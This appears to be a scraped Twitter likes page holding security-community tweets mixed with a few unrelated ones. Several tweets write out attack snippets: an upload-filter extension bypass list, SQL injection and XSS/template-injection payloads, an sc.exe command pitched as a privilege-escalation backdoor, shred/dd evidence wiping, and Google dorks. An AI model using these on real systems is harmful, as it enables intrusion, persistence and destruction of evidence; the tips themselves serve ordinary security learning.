blue @SolidCobalt

st1ll l3arn1ng your computer Joined March 2019

Tweets

180
Followers

3
Following

64
Likes

92

Nithin 🦹‍♂️ @thebinarybot

3 years ago

☃️ AwesomeXSS ☃️ A mega resource repository that contains almost everything you need to learn XSS from scratch including: ➡️ Tools ➡️ Mindmaps ➡️ Payloads and much more...

5 56 99 14K 55

Download Image

Extension Bypass V2 🔸 do.php%00.png 🔸 do.php%0A.png 🔸 do.php\n.png 🔸 do.php\u000a.png 🔸 do.php\u560a.png 🔸 do.php%E5%98%8A.png 🔸 do.php#.png 🔸 do.php%23.png 🔸 do.php\u0023.png 🔸 do.php;.png 🔸 do.php%3B.png 🔸 do.php\u003b.png 🔸 do.php\u563b.png 🔸 do.php%E5%98%BB.png

1 81 227 19K 107

yonatan @zozuar

3 years ago

#つぶやきGLSL float e,i,a,w,x,g;for(;i++<1e2;){vec3 p=vec3((FC.xy-.5*r)/r.y*g,g-3.);p.zy*=rotate2D(.6);i<1e2?p:p+=1e-4;e=p.y;for(a=.8;a>.003;a*=.8)p.xz*=rotate2D(5.),x=(++p.x+p.z)/a+t+t,w=exp(sin(x)-2.5)*a,o.gb+=w/4e2,p.xz-=w*cos(x),e-=w;g+=e;}o+=min(e*e*4e6,1./g)+g*g/2e2;

90 2K 14K 1.2M 3K

Download Video

Vincent Yiu @vysecurity

3 years ago

Trick to use any Cloudflare website to get your egress IP. Access the https://<website>/cdn-cgi/trace, and grep "ip".

4 52 277 58K 172

PortSwigger Research @PortSwiggerRes

3 years ago

We found you can use a protocol assignment in anchors too, check it out our cheat sheet: portswigger.net/web-security/c…

8 86 360 37K 93

Download Image

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers: here's a sneaky one - a file-less, persistent, local privilege escalation backdoor! sc.exe sdset scmanager D:(A;;KA;;;WD) Setting the security descriptor on the service manager to allow anyone to start SYSTEM services! Will Blue notice this?? ;) #redteam

11 116 535 52K 218

kmkz @kmkz_security

3 years ago

HTML Smuggling: Recent observations of threat actor techniques by delivr.to link.medium.com/7wloMoWIxxb

0 51 129 17K 41

Zero-Point Security @_ZeroPointSec

3 years ago

We've got two new beginner programming courses. C# for n00bs and Rust for n00bs. training.zeropointsecurity.co.uk/collections/pr…

13 117 381 46K 101

Srigi @srigi

8 years ago

"Latency Numbers Every Programmer Should Know" It is hard for humans to get the picture until you translate it to "human numbers":

78 5K 9K 0 221

Download Image

HackerRats - Uncle Rat ❤️ (XSS Rat) @theXSSrat

3 years ago

site:<domain> filetype:php "sql" - Search for PHP files containing the keyword "sql". site:<domain> intext:"warning: mysql_connect" - Search for pages with PHP MySQL connection warnings.

1 24 95 15K 51

Tib3rius @0xTib3rius

3 years ago

If you want good examples for SQL injection, use these. Auth Bypass: admin'; -- - SELECT * FROM users WHERE username = 'admin'; -- -' AND password = 'password' Boolean: ' AND '1'='1 / ' AND '1'='2 SELECT * FROM articles WHERE author = 'admin' AND '1'='1'

Tib3rius @0xTib3rius

3 years ago

39 116 697 290K 181

16 233 1K 173K 540

Omar Espino • @omespino

3 years ago

Interested in web hacking? Fun story, Something interesting happened today, I was checking a client's page, I was able to dump the source code from some old app that was shut down, the domain is a modern online store, but the old site is accessible with a simple trick 1/5

14 64 306 42K 240

Daniel Kelley @danielmakelley

3 years ago

30 cybersecurity search engines for researchers: 1. Dehashed—View leaked credentials. 2. SecurityTrails—Extensive DNS data. 3. DorkSearch—Really fast Google dorking. 4. ExploitDB—Archive of various exploits. 5. ZoomEye—Gather information about targets.

38 534 2K 120K 1K

HackerRats - Uncle Rat ❤️ (XSS Rat) @theXSSrat

3 years ago

'"`><img src=x>${{7*7}} Throw this into EVERY parameter you see :D '"` 🎉🎉🎉 SQLi testing '"` 🎉🎉🎉 JS inject '"`> 🎉🎉🎉 html tag attribute inject <img src=x> 🎉🎉🎉 html inject ${{7*7}} 🎉🎉🎉 CSTI If app uses your name later in flows for example, auto testing :3

3 123 484 47K 215

Daniel Kelley @danielmakelley

3 years ago

77 741 3K 0 2K

Hack The Box @hackthebox_eu

3 years ago

Much like anything else, we #HACKED reporting! 😎 Here's a helpful template and guide to create the report for all your different #pentests: ✔️ Black box ✔️ White box ✔️Web application ✔️ Hardware Take a read of our #blog to learn more👇 bit.ly/3i3Np0y

1 33 138 0 40

Download Image

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers, just deleting files is not enough. To really remove them, use shred. shred -z cthulhu.txt If the shred command may be caught, you can do this: FN=cthulhu.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`" if=/dev/urandom >"${FN}"; rm -f "${FN}" #redteam

19 122 536 0 161

nixCraft 🐧 @nixcraft

3 years ago

GitHub Copilot investigation - Maybe you don’t mind if GitHub Copilot used your open-source code without asking. But how will you feel if Copilot erases your open-source community? githubcopilotinvestigation.com

5 45 129 0 5

freakyclown @_Freakyclown_

3 years ago

If you are bored at work, I suggest looking at this video I made on how to stealthily take over a running application by using the same port! - youtube.com/watch?v=vJMv2N… I would love this video to get more attention, as its a pretty cool method you can use on redteams etc.

2 10 18 0 5

Nicolas Krassas @Dinosn

3 years ago

16 kinds of API anti-kill tests, 8 kinds of encryption tests, anti-sandbox tests, compilation obfuscation, packing, resource modification and other anti-kill technologies based on Go github.com/TideSec/GoBypa…